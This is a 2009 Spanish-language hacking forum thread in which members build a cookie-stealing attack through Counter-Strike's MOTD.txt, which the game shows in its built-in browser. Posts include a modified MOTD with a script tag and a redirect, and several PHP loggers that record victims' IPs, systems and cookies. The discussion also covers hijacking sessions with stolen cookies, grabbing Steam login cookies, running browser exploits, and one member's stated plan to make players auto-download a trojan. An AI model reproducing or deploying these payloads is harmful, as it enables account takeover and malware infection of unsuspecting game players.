elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
12 Febrero 2012, 13:46  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits
| | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | |-+  Counter strike MOTD.txt
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Counter strike MOTD.txt  (Leído 6,340 veces)
fede_cp


Desconectado Desconectado

Mensajes: 526


"porque pensar nunca fue entender"


Ver Perfil WWW
Counter strike MOTD.txt
« en: 23 Diciembre 2009, 00:45 »

Bueno gente,el que alguna vez tubo un server de counter strike, sabe que el archivo MOTD.txt contiene ese especie de "portada", al iniciarse en un server.

aca el code del MOTD.txt

Código
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
<title>Cstrike MOTD</title>
<style type="text/css">
pre {
font-family:Verdana,Tahoma;
color:#FFB000;
    }
body {
background:#000000;
margin-left:8px;
margin-top:0px;
}
a {
    text-decoration:    underline;
}
a:link  {
   color:  #FFFFFF;
   }
a:visited   {
   color:  #FFFFFF;
   }
a:active    {
   color:  #FFFFFF;
   }
a:hover {
   color:  #FFFFFF;
   text-decoration:    underline;
   }
</style>
</head>
<body scroll="no">
<pre>
You are playing Counter-Strike v1.6
Visit the official CS web site @
www.counter-strike.net
<a href="http://www.counter-strike.net">Visit Counter-Strike.net</a>
</pre>
</body>
</html>

Supongo que sabran que significara todo esto, o lo habran visto alguna vez.

Entonces dije, CARAJO, porque no me di cuenta antes, y buen empeze a "tocar" un poco todo y aqui esta el code con los cambios.

Código
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
<title>caca</title>
<script>alert("scripting")<script>
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://localhost/web.php?cookie=">
<style type="text/css">
pre {
font-family:Verdana,Tahoma;
color:#FFB000;
    }
body {
background:#000000;
margin-left:8px;
margin-top:0px;
}
a {
    text-decoration:    underline;
}
a:link  {
   color:  #FFFFFF;
   }
a:visited   {
   color:  #FFFFFF;
   }
a:active    {
   color:  #FFFFFF;
   }
a:hover {
   color:  #FFFFFF;
   text-decoration:    underline;
   }
</style>
</head>
<body scroll="no">
<pre>
You are playing Counter-Strike v1.6
Visit the official CS web site @
www.counter-strike.net
<a href="http://www.counter-strike.net">Visit Counter-Strike.com</a>
</pre>
</body>
</html>

le puse que se redireccione, a web.php, para sacar cookies, que todavía no me salio nose porque.

aca web.php:

Código
<html>
<head>
<title>Xss re pillo</html>
</head>
<body>
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$cookie = $_GET['cookie'];
$scuandal = "ip-víctima:" . $ip . " sistema operativo:" . PHP_OS . " -Servidor :" . $_SERVER['SERVER_NAME'] . " [+] info del server: " . $_SERVER['SERVER_SOFTWARE'] . $cookie;
$fff = fopen("archivo.txt","a");
fwrite($fff, "$scuandal \n");
fclose($fff);
?>
<script>window.location='http://localhost/web.php?cookie='+document.cookie;</script>
</body>
</html>

y  :o, observen archivo.txt

ip-víctima:127.0.0.1 sistema operativo:WINNT -Servidor :localhost
  • info del server: Apache/2.2.11 (Win32) PHP/5.3.0

lo probe con un amigo y me da su info

obvio que info del server va a ser mi info jajja

bien se peude sacar info por php, pero ahora la gran pregunta, si tantos navegadores poseen bugs, como mozilla,IE, aunque no sea un navegador completo, seria una especie, tendria que tener bugs si son permitidos tambien estos tipos de cosas.

nadie sabe donde se encuentra el "navegador", donde se carga el MOTD.txt

si alguien tiene ganas de buscar, que tenga un poco mas de idea podemos sacar algo de provecho a esto.

PD:Es una mezcla entre bugs y exploits a nivel web-hacking-y bugs y exploits jajaja

saludos
« Última modificación: 23 Diciembre 2009, 00:55 por fede_cp » En línea

somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!
Castg!
Wiki

Desconectado Desconectado

Mensajes: 1.180



Ver Perfil WWW
Re: Counter strike MOTD.txt
« Respuesta #1 en: 23 Diciembre 2009, 01:12 »

pero fede, es como un bucle infinito eso, yo diria de hacer algo asi:

este seria el archivo localhost/xss-cs/index.php :
Código
<?php
if (isset($_GET['cookie'])){
$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$cookie = $_GET['cookie'];
$scuandal = "ip-víctima:" . $ip . " sistema operativo:" . PHP_OS . " -Servidor :" . $_SERVER['SERVER_NAME'] . " [+] info del server: " . $_SERVER['SERVER_SOFTWARE'] . $cookie;
$fff = fopen("archivo.txt","a");
fwrite($fff, "$scuandal \n");
fclose($fff);
}else{
header("Location ?cookie=$_SERVER['HTTP_COOKIE']");
}
?>

igual no creo que te de todas las cookies de todas las paginas.
En línea



I'm back!
fede_cp


Desconectado Desconectado

Mensajes: 526


"porque pensar nunca fue entender"


Ver Perfil WWW
Re: Counter strike MOTD.txt
« Respuesta #2 en: 23 Diciembre 2009, 01:23 »

igualmente si las cookies no las tiene, te da la info igual, asique no tiene que estar (isset)



saludos tomii!
En línea

somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!
tragantras


Desconectado Desconectado

Mensajes: 465


Ver Perfil
Re: Counter strike MOTD.txt
« Respuesta #3 en: 23 Diciembre 2009, 02:02 »

pero qué cookies espras que tenga el explorador web integrado del juego... xD
En línea

Colaboraciones:
1 2
Castg!
Wiki

Desconectado Desconectado

Mensajes: 1.180



Ver Perfil WWW
Re: Counter strike MOTD.txt
« Respuesta #4 en: 23 Diciembre 2009, 02:04 »

jsutamente queremos saber eso, (me integro en el proyecto :P) como hacer para conseguir todas las cookies que tenga para todas las webs para todos los epxloradores, seria algo con file://// ??? y algo con temp no??
En línea



I'm back!
fede_cp


Desconectado Desconectado

Mensajes: 526


"porque pensar nunca fue entender"


Ver Perfil WWW
Re: Counter strike MOTD.txt
« Respuesta #5 en: 23 Diciembre 2009, 02:05 »

por eso mismo, pregunto, pense que habia una realcion entre ese navegador y porai el IE, o el mozilla, o alguno de los navegadores.

nadie mas tiene idea que se podria hcaer con estooo??

y claro, leer alguno de los archivos temp, como dice castg

habria que conseguir el code del browser

¿nadie sabe donde esta?
saludos
« Última modificación: 23 Diciembre 2009, 02:08 por fede_cp » En línea

somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!
Castg!
Wiki

Desconectado Desconectado

Mensajes: 1.180



Ver Perfil WWW
Re: Counter strike MOTD.txt
« Respuesta #6 en: 23 Diciembre 2009, 02:07 »

increiblE! lo mismo con cuanto de diferencia? menos de un minuto jajaja
jsutamente queremos saber eso, (me integro en el proyecto :P) como hacer para conseguir todas las cookies que tenga para todas las webs para todos los epxloradores, seria algo con file://// ??? y algo con temp no??
por eso mismo, pregunto, pense que habia una realcion entre ese navegador y porai el IE, o el mozilla, o alguno de los navegadores.

nadie mas tiene idea que se podria hcaer con estooo??


saludos
En línea



I'm back!
Castg!
Wiki

Desconectado Desconectado

Mensajes: 1.180



Ver Perfil WWW
Re: Counter strike MOTD.txt
« Respuesta #7 en: 23 Diciembre 2009, 02:12 »

ah nono, disculpen mi terrible ignorancia, como no me di cuenta antes, que tanto bondi con get y eso, mas simple:

Código
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$cookie = $_SERVER['HTTP_COOKIE'];
$scuandal = "ip-víctima:" . $ip . " sistema operativo:" . PHP_OS . " -Servidor :" . $_SERVER['SERVER_NAME'] . " [+] info del server: " . $_SERVER['SERVER_SOFTWARE'] . $cookie;
$fff = fopen("archivo.txt","a");
fwrite($fff, "$scuandal \n");
fclose($fff);
?>

ahi no hay drama con nada, si la cookie es grande, si es chica, si es corta, si no lo puso en get si anda. listo. mucho mas facil.
En línea



I'm back!
fede_cp


Desconectado Desconectado

Mensajes: 526


"porque pensar nunca fue entender"


Ver Perfil WWW
Re: Counter strike MOTD.txt
« Respuesta #8 en: 23 Diciembre 2009, 02:29 »

Es lo que probe recien tom, pero no funca, alguien que este mas en el temaaa


saludos


PD:alguna idea buena
En línea

somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!
WHK
吴阿卡
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.935


The Hacktivism is not a crime


Ver Perfil WWW
Re: Counter strike MOTD.txt
« Respuesta #9 en: 23 Diciembre 2009, 07:26 »

De hecho estoy 99% seguro que utilizan ieframe.dll de internet explorer, de hecho también estoy casi seguro de que si interpreta tu redirección entonces también debería interpretar código javascript xD pero no estoy seguro.

No se para que necesitas saber la ip si se supone que el servidor es tuyo y en la consola aparecen las ips conectadas xD pero igual es entrete ver todo eso, hay muchos servidores por ahi con ese contenido modificado para hacerse spam y cosas así.

Esto no es una vuln, es una feature como diría sdc xDDDD
En línea


tragantras


Desconectado Desconectado

Mensajes: 465


Ver Perfil
Re: Counter strike MOTD.txt
« Respuesta #10 en: 23 Diciembre 2009, 10:58 »

lo que si hubo hace tiempo fue un robo masivo de cuentas por robo de cookies o algo así... kizá consiguieron crackearlas...

por cierto en el counter strike source, estuve investigando ese tema hace tiempo y el explorador que trae si comportía cookies con el iexplore... Lo máximo que se me ocurre es robarle la cookie de inicio de sesion al steamcommunity que se loguea automático... pero esk te sirve de poco si no consigues la password crackeada.
En línea

Colaboraciones:
1 2
Castg!
Wiki

Desconectado Desconectado

Mensajes: 1.180



Ver Perfil WWW
Re: Counter strike MOTD.txt
« Respuesta #11 en: 23 Diciembre 2009, 13:36 »

claro, bug o vulnerabilidad seguro que no. porq el pibe entra, sin saberlo, pero elentra. ahora el tema es como sacarlas cookies PERO TODAS. en el caso de que se use esadll, hay posibilidad de conseguir las cookies de firefox??
En línea



I'm back!
fede_cp


Desconectado Desconectado

Mensajes: 526


"porque pensar nunca fue entender"


Ver Perfil WWW
Re: Counter strike MOTD.txt
« Respuesta #12 en: 23 Diciembre 2009, 15:41 »

o directamente, ejecutar un exploit para IE porque lo mas propbable es que use una dll de un IE mas viejo, o usa directamente el que esta instalado en cada pc?,en linux como haria?, a ver que pasa, WHK, lo de la IP fue una prueba, nada para hacer maldades.

entonces crees que no se podria sacar provecho de esto?


saludos
En línea

somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!
WHK
吴阿卡
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.935


The Hacktivism is not a crime


Ver Perfil WWW
Re: Counter strike MOTD.txt
« Respuesta #13 en: 23 Diciembre 2009, 19:53 »

Desde internet explorer no tienes acceso a las cookies de firefox y tampoco necesitas crackear ningúna contraseña si tienes la cookie de sesión del jugador ya que haces un script donde diga que si tu ip corresponde a x.x.x.x entonces te hará document.cookie = ''; donde el valor es el valor de la cookie del otro jugador y pasarás a tener su sesión y podrás hacer las modificaciones que quieras como si estubieras logueado.

Ahora, no se para que se utilizará esa sesión porque lo único que hacía en el counter era entrar, jugar, salir y nada mas xD
En línea


Castg!
Wiki

Desconectado Desconectado

Mensajes: 1.180



Ver Perfil WWW
Re: Counter strike MOTD.txt
« Respuesta #14 en: 23 Diciembre 2009, 20:13 »

claro. eso es lo que queremos hacer. conseguir todas sus cookies para "logearnos" pero no las de el cs si es que tiene cookies sino las de todo! jaja. creo que no se puede, mas siendo el internet esplorer el explorador usado. hoy en dia la mayoria usan el firefox, gracias a dios jejej. bueno gracias a todos, ya vamos a ver como filtrar un archivo cuando entras, vieron que siempre te descarga los sonidos del amx como HEADSHOT y esas cosas, y el mapa tambien descarga. quiero que AUTO-descarge un archivo-troyano. bueno. un saludo.
En línea



I'm back!
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines